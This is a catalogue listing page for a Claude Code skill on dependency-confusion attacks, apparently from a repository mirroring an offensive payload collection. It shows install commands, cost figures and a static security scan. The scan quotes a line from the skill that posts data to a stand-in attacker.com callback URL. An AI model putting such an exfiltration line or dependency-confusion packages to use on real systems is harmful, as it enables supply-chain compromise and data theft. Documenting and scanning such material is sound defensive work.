What is dependency-confusion?

A guide to dependency confusion, where a package manager may install a malicious public package instead of an intended private package with the same name.

Use it to test package-manager configuration and dependency resolution.

It helps uncover supply-chain risks in software that downloads packages from package registries.

dependency-confusion — Skill for Claude Code by mohdhaji87

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add mohdhaji87/payloadsallthethings-skills --skill dependency-confusion

Clone the repo

git clone --depth 1 https://github.com/mohdhaji87/payloadsallthethings-skills

Made for: Claude Code.

Or install payloadsallthethings, the plugin that ships this one along with the rest of its 61 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/dependency-confusion/github.svg)](https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/dependency-confusion)

Your own site

<a href="https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/dependency-confusion"><img src="https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/dependency-confusion/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/dependency-confusion"><img src="https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/dependency-confusion.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 21 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,884 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin unknown No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00021	$0.01884
Opus 5.5	$0.00008	$0.00754
Sonnet 5.5	$0.00004	$0.00377
Haiku 4.5	$0.00002	$0.00188

Measured 2mo ago against content hash 22f98bc307f9, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

dependency-confusion scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

requests.post('https://attacker.com/callback', json=data)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl https://pypi.org/pypi/internal-package-name/json

payloadsallthethings/skills/dependency-confusion/SKILL.md · 337 lines

The source is not reproduced here

A licence we could not identify

The repository carries a LICENSE file, but it is custom or dual enough that GitHub cannot name it and neither can this catalogue. Unknown terms are not permission, so the body is not copied here. Read the licence at the source and decide for yourself.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

2mo ago First seen · 337 lines · 21 tokens per session scan A 22f98bc307f9

Subscribe to this mod's changes

dependency-confusion is a skill published in the GitHub repository mohdhaji87/payloadsallthethings-skills (21 stars, last pushed 10mo ago), with no licence file. It adds 21 tokens to every session and 1,884 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.